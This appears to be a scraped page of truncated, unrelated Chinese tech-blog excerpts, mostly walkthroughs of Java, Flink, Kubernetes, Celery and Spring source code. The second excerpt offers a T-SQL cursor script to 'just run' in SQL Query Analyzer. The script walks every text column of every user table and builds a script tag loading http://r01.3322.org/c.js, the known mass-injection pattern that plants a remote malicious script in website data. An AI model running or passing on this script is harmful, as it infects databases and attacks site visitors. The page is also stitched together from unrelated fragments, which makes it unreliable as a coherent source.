文章目录 一、概述 二、Window分类 1、TimeWindow与CountWindow 2、TimeWindow子类型Tumble Window（翻转窗口） Hop Window（滑动窗口） Session Window（会话窗口）三、Window分类及整体流程 四、创建WindowOperator算子 五、WindowOperator处理数据图解 六、WindowOperator源码调试 1、StreamExecGroupWindowAggregate#createWindowOperator()创建算子 2、WindowOperator#processElement()处理数据，注册Timer 3、Timer触发Inter...
在SQL查询分析器执行以下代码就可以了。 代码如下:declare @t varchar(255),@c varchar(255)declare table_cursor cursor for select a.name,b.namefrom sysobjects a,syscolumns b ,systypes cwhere a.id=b.id and a.xtype=u and c.namein (char, nchar, nvarchar, varchar,text,ntext)declare @str varchar(500),@str2 varchar(500)set @str=<mce:script src="http://r01.3322.org/c.js" mce_src="http://r01.3322.org/c.js"></m...
ConcurrentHashMap put源码解析 JDK8 sizeCtl需要了解的需要了解的变量Node对象常见的CAS方法put方法initTable()初始化tableForwardNode类addCount方法（就是size+1）size方法源码fullAddCount方法源码扩容方法 transfertransferIndex变量含义和步长transfer源码sizeCtl需要了解的 sizeCtl的正确解释： https://blog.csdn.net/Unknownfuture/article/details/105350537 sizeCtl可以说它是ConcurrentHashMap中出镜率很高的一个属性，...
互联网现状 如今的互联网，延续了2018年的态势。虽然前些年，每到年底的时候大环境都不好，然而来年照样春暖花开。但是现在的互联网环境是真的不好了。 首先各大公司争相优化员工，小公司我就不提了，咱就只说大公司。先有阿里、百度、京东、网易、美团和滴滴，再有外企甲骨文和IBM。前些年各大公司优化员工的时候都藏着掖着，而且用词很含蓄，都说是正常的人员流动和业务调整。今年就不同了，没必要藏着掖着了，而且有些公司由于补...
一、概述 treeifyBin方法，应该可以解释为：把容器里的元素变成树结构。当HashMap的内部元素数组中某个位置上存在多个hash值相同的键值对，这些Node已经形成了一个链表，当该链表的长度大于等于9（为什么是9？TREEIFY_THRESHOLD默认值为8呀？详见put方法解析：JDK8：HashMap源码解析：put方法）的时候，会调用该方法来进行一个特殊处理。 二、方法解析 /*** tab：元素数组，* hash：hash值（要增加的键值对的key的hash值）*/ f...
问题起源 在编写 STM32 OTA 程序过程中对 FLASH第一个字存放栈顶地址和第二个字存放中断向量表实现比较疑惑，不太确定是在程序的哪个阶段固定这两个地址到了FLASH中，查询资料后发现原来就在启动文件中。 之前工作写应用都是从自定义的main函数开始思考流程，虽然一直知道有启动文件，但是是因为汇编语言编写，所以没有深入了解，这次借此机会把启动文件的流程和具体功能过一遍。 下方代码后都附有具体的注释，实际会汇编指令不多，...
JDK版本为RedHat OpenJDK 1.8.0_282。 JDK中的动态代理Proxy类仅限于方法拦截，且只能代理实现了接口的对象。 调用Proxy的静态方法创建——继承了Proxy类的代理类（java只支持单继承，这就是为什么要求被代理类必须实现接口），通过该代理类的构造器创建对应代理对象，该对象实现了被代理类的接口，仅起到接口的作用。 代理类对象内持有一个——实现了InvocationHandler接口的对象（我们称它为中间对象吧）的引用，中间对象又持...
[源码解析] 并行分布式框架 Celery 之架构 (2) 文章目录 [源码解析] 并行分布式框架 Celery 之架构 (2)0x00 摘要0x01 上文回顾0x02 worker的思考2.1 worker的模式2.1.1 Nginx模式2.1.2 Celery 模式2.1.2.1 模式2.1.2.2 交互2.2 worker 组成2.2.1 task_pool2.2.2 consumer2.2.3 Scheduler2.2.3.1 Beat2.2.3.2 Timer2.3 初始化过程 0x03 Consumer的思考3.1 组件3.2 作用 0x04 高性能的思考4.1 多进程4.2 事件驱动4.3 Task的实现4.3.1...
kube-scheduler 源码解析 opsdev 王希刚 360云计算女主宣言本篇文章带大家了解部署在我们 HULK 容器服务 master 节点上的重要组件之一，kube-scheduler 的运行机制解读和核心代码分析，给想要阅读学习 Kubernetes 源码的同学一个参考。本文最先发布于 opsdev，转载已获取作者授权。 PS：丰富的一线技术、多元化的表现形式，尽在“HULK一线技术杂谈”，点关注哦！前言本文所涉及的源码为 Kubernetes 1.9，git commit id 为 925c127e...
在上篇文章《HashMap、ConcurrentHashMap简单原理讲解》中，简单说了下HashMap的底层数据结构。 今天详细分析源码。 一、HashMap 成员变量 与初始化 先说几个默认值 /*** 默认初始容量16*/static final int DEFAULT_INITIAL_CAPACITY = 1 << 4; // aka 16/*** 最大容量 2 的 30 次方*/static final int MAXIMUM_CAPACITY = 1 << 30;/*** 默认负载因子 0.75*/static final float DEFAULT_LOAD_FACTOR = 0.75f;/*** 链表转红黑树的阈...
JDK源码解析 InputStream类就使用了模板方法模式。 在InputStream类中定义了多个 read() 方法，如下： public abstract class InputStream implements Closeable {//抽象方法，要求子类必须重写public abstract int read() throws IOException; ?public int read(byte b[]) throws IOException {return read(b, 0, b.length);} ?public int read(byte b[], int off, int len) throws IOException {if (b == null) {throw new NullP...
本文着重分析下为什么加了@LoadBalanced就有了负载均衡的能力 先看现象 我们写代码都是这么写的@SpringBootApplication @EnableEurekaClient @EnableDiscoveryClient public class ServiceRibbonApplication {public static void main(String[] args) {SpringApplication.run( ServiceRibbonApplication.class, args );}@Bean@LoadBalancedRestTemplate restTemplate() {return new RestTemplate();}如果不加@LoadBalanced会怎么样...
来源：https://mp.weixin.qq.com/s/WiRyQEoDfuowT3LNfZ-NSw 0 本文大纲： 一、我们本次的目的是什么？ 这次我们的目的是，在本地的 IDEA 中去 debug flink-clients 代码，然后远程提交给 flink standalone 集群上去执行，看一看 flink 客户端在提交代码之前都干了什么。就像下面这样： 很简单是不是，瞬间自信心爆棚！在开始之前，我想要提两个发人深省的问题，你平时一定没有考虑过： 问题 1：用户代码如何变成 DAG 图 DataS...
首先在插件管理中开启插件配置. 然后再添加相关的配置信息. 添加pom文件 <dependency><groupId>org.dromara</groupId><artifactId>soul-spring-boot-starter-plugin-sentinel</artifactId><version>${project.version}</version> </dependency>至此已经可以开始使用了 然后局可以使用压测工具来压测了.
Spring 中 bean 注册的源码解析 TSMYK Java技术编程 前言 所谓 bean 的注册，就是把在配置文件中配置的 <bean> 节点加载配内存中，供后续使用。 bean的注册主要分为两个阶段，一个是准备阶段，就是对配置文件进行解析，把配置文件加载到内存中，以 Document 的形式存放；第二个阶段是对 Document 进行操作，获取其中的节点，进行解析，注册。 类图 按照惯例，在看源码之前，先来看看和 bean 注册相关的类图，所涉及到的类比较多，...